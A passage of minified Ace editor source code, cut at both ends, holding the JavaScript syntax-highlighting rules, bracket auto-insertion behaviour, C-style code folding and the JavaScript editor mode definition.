r=e.charAt(1)==\"/\"?2:1;if(r==1)t!=this.nextState?n.unshift(this.next,this.nextState,0):n.unshift(this.next),n[2]++;else if(r==2&&t==this.nextState){n[1]--;if(!n[1]||n[1]<0)n.shift(),n.shift()}return[{type:\"meta.tag.punctuation.\"+(r==1?\"\":\"end-\")+\"tag-open.xml\",value:e.slice(0,r)},{type:\"meta.tag.tag-name.xml\",value:e.substr(r)}]},regex:\"</?\"+e+\"\",next:\"jsxAttributes\",nextState:\"jsx\"};this.$rules.start.unshift(t);var n={regex:\"{\",token:\"paren.quasi.start\",push:\"start\"};this.$rules.jsx=[n,t,{include:\"reference\"},{defaultToken:\"string\"}],this.$rules.jsxAttributes=[{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",onMatch:function(e,t,n){return t==n[0]&&n.shift(),e.length==2&&(n[0]==this.nextState&&n[1]--,(!n[1]||n[1]<0)&&n.splice(0,2)),this.next=n[0]||\"start\",[{type:this.token,value:e}]},nextState:\"jsx\"},n,{token:\"entity.other.attribute-name.xml\",regex:e},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\"},{token:\"text.tag-whitespace.xml\",regex:\"\\\\s+\"},{token:\"string.attribute-value.xml\",regex:\"'\",stateName:\"jsx_attr_q\",push:[{token:\"string.attribute-value.xml\",regex:\"'\",next:\"pop\"},n,{include:\"reference\"},{defaultToken:\"string.attribute-value.xml\"}]},{token:\"string.attribute-value.xml\",regex:'\"',stateName:\"jsx_attr_qq\",push:[n,{token:\"string.attribute-value.xml\",regex:'\"',next:\"pop\"},{include:\"reference\"},{defaultToken:\"string.attribute-value.xml\"}]}],this.$rules.reference=[{token:\"constant.language.escape.reference.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}]}var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=\"[a-zA-Z\\\\$_\\u00a1-\\uffff][a-zA-Z\\\\d\\\\$_\\u00a1-\\uffff]*\\\\b\",u=function(e){var t=this.createKeywordMapper({\"variable.language\":\"Array|Boolean|Date|Function|Iterator|Number|Object|RegExp|String|Proxy|Namespace|QName|XML|XMLList|ArrayBuffer|Float32Array|Float64Array|Int16Array|Int32Array|Int8Array|Uint16Array|Uint32Array|Uint8Array|Uint8ClampedArray|Error|EvalError|InternalError|RangeError|ReferenceError|StopIteration|SyntaxError|TypeError|URIError|decodeURI|decodeURIComponent|encodeURI|encodeURIComponent|eval|isFinite|isNaN|parseFloat|parseInt|JSON|Math|this|arguments|prototype|window|document\",keyword:\"const|yield|import|get|set|break|case|catch|continue|default|delete|do|else|finally|for|function|if|in|instanceof|new|return|switch|throw|try|typeof|let|var|while|with|debugger|__parent__|__count__|escape|unescape|with|__proto__|class|enum|extends|super|export|implements|private|public|interface|package|protected|static\",\"storage.type\":\"const|let|var|function\",\"constant.language\":\"null|Infinity|NaN|undefined\",\"support.function\":\"alert\",\"constant.language.boolean\":\"true|false\"},\"identifier\"),n=\"case|do|else|finally|in|instanceof|return|throw|try|typeof|yield|void\",r=\"\\\\\\\\(?:x[0-9a-fA-F]{2}|u[0-9a-fA-F]{4}|[0-2][0-7]{0,2}|3[0-6][0-7]?|37[0-7]?|[4-7][0-7]?|.)\";this.$rules={no_regex:[{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:/\\/\\*/,next:\"comment\"},{token:\"string\",regex:\"'(?=.)\",next:\"qstring\"},{token:\"string\",regex:'\"(?=.)',next:\"qqstring\"},{token:\"constant.numeric\",regex:/0[xX][0-9a-fA-F]+\\b/},{token:\"constant.numeric\",regex:/[+-]?\\d+(?:(?:\\.\\d*)?(?:[eE][+-]?\\d+)?)?\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\"],regex:\"(\"+o+\")(\\\\.)(prototype)(\\\\.)(\"+o+\")(\\\\s*)(=)\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s+)(\\\\w+)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(function)(\\\\s+)(\"+o+\")(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"punctuation.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\s*)(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"text\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"keyword\",regex:\"(?:\"+n+\")\\\\b\",next:\"start\"},{token:[\"support.constant\"],regex:/that\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function.firebug\"],regex:/(console)(\\.)(warn|info|log|error|time|trace|timeEnd|assert)\\b/},{token:t,regex:o},{token:\"punctuation.operator\",regex:/[.](?![.])/,next:\"property\"},{token:\"keyword.operator\",regex:/--|\\+\\+|\\.{3}|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\|\\||\\?\\:|[!$%&*+\\-~\\/^]=?/,next:\"start\"},{token:\"punctuation.operator\",regex:/[?:,;.]/,next:\"start\"},{token:\"paren.lparen\",regex:/[\\[({]/,next:\"start\"},{token:\"paren.rparen\",regex:/[\\])}]/},{token:\"comment\",regex:/^#!.*$/}],property:[{token:\"text\",regex:\"\\\\s+\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(?:(\\\\s+)(\\\\w+))?(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"punctuation.operator\",regex:/[.](?![.])/},{token:\"support.function\",regex:/(s(?:h(?:ift|ow(?:Mod(?:elessDialog|alDialog)|Help))|croll(?:X|By(?:Pages|Lines)?|Y|To)?|t(?:op|rike)|i(?:n|zeToContent|debar|gnText)|ort|u(?:p|b(?:str(?:ing)?)?)|pli(?:ce|t)|e(?:nd|t(?:Re(?:sizable|questHeader)|M(?:i(?:nutes|lliseconds)|onth)|Seconds|Ho(?:tKeys|urs)|Year|Cursor|Time(?:out)?|Interval|ZOptions|Date|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Date|FullYear)|FullYear|Active)|arch)|qrt|lice|avePreferences|mall)|h(?:ome|andleEvent)|navigate|c(?:har(?:CodeAt|At)|o(?:s|n(?:cat|textual|firm)|mpile)|eil|lear(?:Timeout|Interval)?|a(?:ptureEvents|ll)|reate(?:StyleSheet|Popup|EventObject))|t(?:o(?:GMTString|S(?:tring|ource)|U(?:TCString|pperCase)|Lo(?:caleString|werCase))|est|a(?:n|int(?:Enabled)?))|i(?:s(?:NaN|Finite)|ndexOf|talics)|d(?:isableExternalCapture|ump|etachEvent)|u(?:n(?:shift|taint|escape|watch)|pdateCommands)|j(?:oin|avaEnabled)|p(?:o(?:p|w)|ush|lugins.refresh|a(?:ddings|rse(?:Int|Float)?)|r(?:int|ompt|eference))|e(?:scape|nableExternalCapture|val|lementFromPoint|x(?:p|ec(?:Script|Command)?))|valueOf|UTC|queryCommand(?:State|Indeterm|Enabled|Value)|f(?:i(?:nd|le(?:ModifiedDate|Size|CreatedDate|UpdatedDate)|xed)|o(?:nt(?:size|color)|rward)|loor|romCharCode)|watch|l(?:ink|o(?:ad|g)|astIndexOf)|a(?:sin|nchor|cos|t(?:tachEvent|ob|an(?:2)?)|pply|lert|b(?:s|ort))|r(?:ou(?:nd|teEvents)|e(?:size(?:By|To)|calc|turnValue|place|verse|l(?:oad|ease(?:Capture|Events)))|andom)|g(?:o|et(?:ResponseHeader|M(?:i(?:nutes|lliseconds)|onth)|Se(?:conds|lection)|Hours|Year|Time(?:zoneOffset)?|Da(?:y|te)|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Da(?:y|te)|FullYear)|FullYear|A(?:ttention|llResponseHeaders)))|m(?:in|ove(?:B(?:y|elow)|To(?:Absolute)?|Above)|ergeAttributes|a(?:tch|rgins|x))|b(?:toa|ig|o(?:ld|rderWidths)|link|ack))\\b(?=\\()/},{token:\"support.function.dom\",regex:/(s(?:ub(?:stringData|mit)|plitText|e(?:t(?:NamedItem|Attribute(?:Node)?)|lect))|has(?:ChildNodes|Feature)|namedItem|c(?:l(?:ick|o(?:se|neNode))|reate(?:C(?:omment|DATASection|aption)|T(?:Head|extNode|Foot)|DocumentFragment|ProcessingInstruction|E(?:ntityReference|lement)|Attribute))|tabIndex|i(?:nsert(?:Row|Before|Cell|Data)|tem)|open|delete(?:Row|C(?:ell|aption)|T(?:Head|Foot)|Data)|focus|write(?:ln)?|a(?:dd|ppend(?:Child|Data))|re(?:set|place(?:Child|Data)|move(?:NamedItem|Child|Attribute(?:Node)?)?)|get(?:NamedItem|Element(?:sBy(?:Name|TagName|ClassName)|ById)|Attribute(?:Node)?)|blur)\\b(?=\\()/},{token:\"support.constant\",regex:/(s(?:ystemLanguage|cr(?:ipts|ollbars|een(?:X|Y|Top|Left))|t(?:yle(?:Sheets)?|atus(?:Text|bar)?)|ibling(?:Below|Above)|ource|uffixes|e(?:curity(?:Policy)?|l(?:ection|f)))|h(?:istory|ost(?:name)?|as(?:h|Focus))|y|X(?:MLDocument|SLDocument)|n(?:ext|ame(?:space(?:s|URI)|Prop))|M(?:IN_VALUE|AX_VALUE)|c(?:haracterSet|o(?:n(?:structor|trollers)|okieEnabled|lorDepth|mp(?:onents|lete))|urrent|puClass|l(?:i(?:p(?:boardData)?|entInformation)|osed|asses)|alle(?:e|r)|rypto)|t(?:o(?:olbar|p)|ext(?:Transform|Indent|Decoration|Align)|ags)|SQRT(?:1_2|2)|i(?:n(?:ner(?:Height|Width)|put)|ds|gnoreCase)|zIndex|o(?:scpu|n(?:readystatechange|Line)|uter(?:Height|Width)|p(?:sProfile|ener)|ffscreenBuffering)|NEGATIVE_INFINITY|d(?:i(?:splay|alog(?:Height|Top|Width|Left|Arguments)|rectories)|e(?:scription|fault(?:Status|Ch(?:ecked|arset)|View)))|u(?:ser(?:Profile|Language|Agent)|n(?:iqueID|defined)|pdateInterval)|_content|p(?:ixelDepth|ort|ersonalbar|kcs11|l(?:ugins|atform)|a(?:thname|dding(?:Right|Bottom|Top|Left)|rent(?:Window|Layer)?|ge(?:X(?:Offset)?|Y(?:Offset)?))|r(?:o(?:to(?:col|type)|duct(?:Sub)?|mpter)|e(?:vious|fix)))|e(?:n(?:coding|abledPlugin)|x(?:ternal|pando)|mbeds)|v(?:isibility|endor(?:Sub)?|Linkcolor)|URLUnencoded|P(?:I|OSITIVE_INFINITY)|f(?:ilename|o(?:nt(?:Size|Family|Weight)|rmName)|rame(?:s|Element)|gColor)|E|whiteSpace|l(?:i(?:stStyleType|n(?:eHeight|kColor))|o(?:ca(?:tion(?:bar)?|lName)|wsrc)|e(?:ngth|ft(?:Context)?)|a(?:st(?:M(?:odified|atch)|Index|Paren)|yer(?:s|X)|nguage))|a(?:pp(?:MinorVersion|Name|Co(?:deName|re)|Version)|vail(?:Height|Top|Width|Left)|ll|r(?:ity|guments)|Linkcolor|bove)|r(?:ight(?:Context)?|e(?:sponse(?:XML|Text)|adyState))|global|x|m(?:imeTypes|ultiline|enubar|argin(?:Right|Bottom|Top|Left))|L(?:N(?:10|2)|OG(?:10E|2E))|b(?:o(?:ttom|rder(?:Width|RightWidth|BottomWidth|Style|Color|TopWidth|LeftWidth))|ufferDepth|elow|ackground(?:Color|Image)))\\b/},{token:\"identifier\",regex:o},{regex:\"\",token:\"empty\",next:\"no_regex\"}],start:[i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment_regex_allowed\"},{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment_regex_allowed\"},{token:\"string.regexp\",regex:\"\\\\/\",next:\"regex\"},{token:\"text\",regex:\"\\\\s+|^$\",next:\"start\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],regex:[{token:\"regexp.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"string.regexp\",regex:\"/[sxngimy]*\",next:\"no_regex\"},{token:\"invalid\",regex:/\\{\\d+\\b,?\\d*\\}[+*]|[+*$^?][+*]|[$^][?]|\\?{3,}/},{token:\"constant.language.escape\",regex:/\\(\\?[:=!]|\\)|\\{\\d+\\b,?\\d*\\}|[+*]\\?|[()$^+*?.]/},{token:\"constant.language.delimiter\",regex:/\\|/},{token:\"constant.language.escape\",regex:/\\[\\^?/,next:\"regex_character_class\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp\"}],regex_character_class:[{token:\"regexp.charclass.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"constant.language.escape\",regex:\"]\",next:\"regex\"},{token:\"constant.language.escape\",regex:\"-\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp.charachterclass\"}],function_arguments:[{token:\"variable.parameter\",regex:o},{token:\"punctuation.operator\",regex:\"[, ]+\"},{token:\"punctuation.operator\",regex:\"$\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],comment:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],qqstring:[{token:\"constant.language.escape\",regex:r},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qqstring\"},{token:\"string\",regex:'\"|$',next:\"no_regex\"},{defaultToken:\"string\"}],qstring:[{token:\"constant.language.escape\",regex:r},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qstring\"},{token:\"string\",regex:\"'|$\",next:\"no_regex\"},{defaultToken:\"string\"}]};if(!e||!e.noES6)this.$rules.no_regex.unshift({regex:\"[{}]\",onMatch:function(e,t,n){this.next=e==\"{\"?this.nextState:\"\";if(e==\"{\"&&n.length)return n.unshift(\"start\",t),\"paren\";if(e==\"}\"&&n.length){n.shift(),this.next=n.shift();if(this.next.indexOf(\"string\")!=-1||this.next.indexOf(\"jsx\")!=-1)return\"paren.quasi.end\"}return e==\"{\"?\"paren.lparen\":\"paren.rparen\"},nextState:\"start\"},{token:\"string.quasi.start\",regex:/`/,push:[{token:\"constant.language.escape\",regex:r},{token:\"paren.quasi.start\",regex:/\\${/,push:\"start\"},{token:\"string.quasi.end\",regex:/`/,next:\"pop\"},{defaultToken:\"string.quasi\"}]}),(!e||!e.noJSX)&&a.call(this);this.embedRules(i,\"doc-\",[i.getEndRule(\"no_regex\")]),this.normalizeRules()};r.inherits(u,s),t.JavaScriptHighlightRules=u}),define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),define(\"ace/mode/javascript\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/range\",\"ace/worker/worker_client\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../range\").Range,a=e(\"../worker/worker_client\").WorkerClient,f=e(\"./behaviour/cstyle\").CstyleBehaviour,l=e(\"./folding/cstyle\").FoldMode,c=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new f,this.foldingRules=new l};r.inherits(c,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens,o=i.state;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"||e==\"no_regex\"){var u=t.match(/^.*(?:\\bcase\\b.*\\:|[\\{\\(\\[])\\s*$/);u&&(r+=n)}else if(e==\"doc-start\"){if(o==\"start\"||o==\"no_regex\")return\"\";var u=t.match(/^\\s*(\\/?)\\*/);u&&(u[1]&&(r+=\" \"),r+=\"* \")}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.createWorker=function(e){var t=new a([\"ace\"],\"ace/mode/javascript_worker\",\"JavaScriptWorker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/javascript\"}.call(c.prototype),t.Mode=c}),define(\"ace/mode/java_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var 